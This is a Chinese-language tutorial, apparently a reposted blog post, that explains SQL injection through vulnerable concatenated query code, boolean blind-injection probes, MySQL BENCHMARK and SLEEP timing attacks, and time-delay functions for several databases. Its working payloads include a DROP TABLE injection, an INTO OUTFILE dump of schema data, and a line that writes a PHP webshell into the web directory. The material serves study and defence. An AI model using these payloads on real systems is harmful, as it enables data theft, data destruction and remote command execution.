注入攻击--SQL注入

来源:互联网 发布:android快递查询源码 编辑:程序博客网 时间:2024/04/29 04:52

  注入攻击的本质是把用户输入的数据当做代码执行。这里有两个关键条件:

  1)用户能够控制输入

  2)原本程序要执行的代码,拼接了用户输入的数据


SQL注入的典型例子

var ShipCity;ShipCity = Request.form("ShipCity");var sql = "select * from OrdersTable where ShipCity='"+ShipCity+"'";

用户正常输入“Beijing”,代码会正常执行。

假如用户输入

Beijing’;drop table OrdersTable--

就完成注入攻击。

  在SQL注入的过程中,如果网站的Web服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号“‘”,引起查询语句的语法错误,服务器直接返回了错误信息:

Microsoft JET Database Engine 错误 ’xxx'字符串的语法错误 在查询表达式’ID=49‘中/showdetail.jsp 行8

错误回显披露了敏感信息,对于攻击者来说,构造SQL注入的语句就可以更加得心应手了。

1.盲注(Blind Injection)

  所谓“盲注”,就是在服务器没有错误回显时完成的注入攻击。

  最常见的盲注验证方法是:构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。

比如,一个应用的URL如下:

http://newspaper.com/items.htm?id=2

执行的SQL为:

select title,description,body from items where id=2

如果攻击者构造如下的条件语句:

http://newspaper.com/items.htm?id=2 and 1=2

实际执行的SQL语句就会变成:

select title,description,body from items where id=2 and 1=2

攻击者看到的页面可能为空或者一个出错页面

为了进一步确认注入是否存在,攻击者还必须再次验证这个过程:

http://newspaper.com/items.htm?id=2 and 1=1
如果页面正常返回,则说明SQL语句的“and”成功执行,那么就可以判断“id”参数存在SQL注入攻击了。

2.Timing Attack

  在MySQL中,有一个BENCHMARK()函数,它是用于测试函数性能的。它有两个参数:

BENCHMARK(count,expr),函数执行结果是将表达式expr执行count次。

  因此,利用BENCHMARK()函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长:通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack

select BENCHMARK(1000000,ENCODE('hello','goodbye'))

攻击者接下来要实施的就是利用Timing Attack完成这次攻击,这是一个需要等待的过程。比如构造的攻击参数id值为:

1170 union select if(substring(current,1,1)=char(119),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select Database() as current) as tb1;
这段Payload判断数据库名的第一个字母是否为CHAR(119),即小写的w,如果判断为真,则会通过BENCHMARK()函数造成较长延时:如果不为真,则该语句将很快执行完。攻击者变量所有字母,直到将整个数据库名全部验证完成为止。

  与此类似,还可以通过以下函数获取到许多有用信息:

database()- the name of the database currently connected to.system_user() - the system user for the database.current_user() - the current user who is logged in to the database.last_insert_id() - the transaction ID of the last insert operation on the database

如果当前数据库用户(current_user)具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入Web目录中,攻击者就有可能下载这些文件:

1170 union all select table_name,table_type,engine from information_schema.tables where table_schema='mysql' order by table_name desc into outfile '/path/location/on/server/www/schema.txt'

此外,通过Dump文件的方法,还可以写一个webshell:


1170 union select "<? system($_REQUEST['cmd']);?>",2,3,4 into outfile "/var/www/html/temp/c.htm" --
Timing Attack是盲注的一种高级技巧。在不同的数据库中,都有类似于BECHMARK()的函数,可以被Timing Attack所利用。

MySQLBENCHMARK(1000000,md5(1)) or SLEEP(5)PostgreSQLPG_SLEEP(5) or GENERATE_SERIES(1,1000000)MS SQL ServerWAITFOR DELAY '0:0:5'

更多类似的函数,可以查阅每个数据库软件的手册。



0 0
原创粉丝点击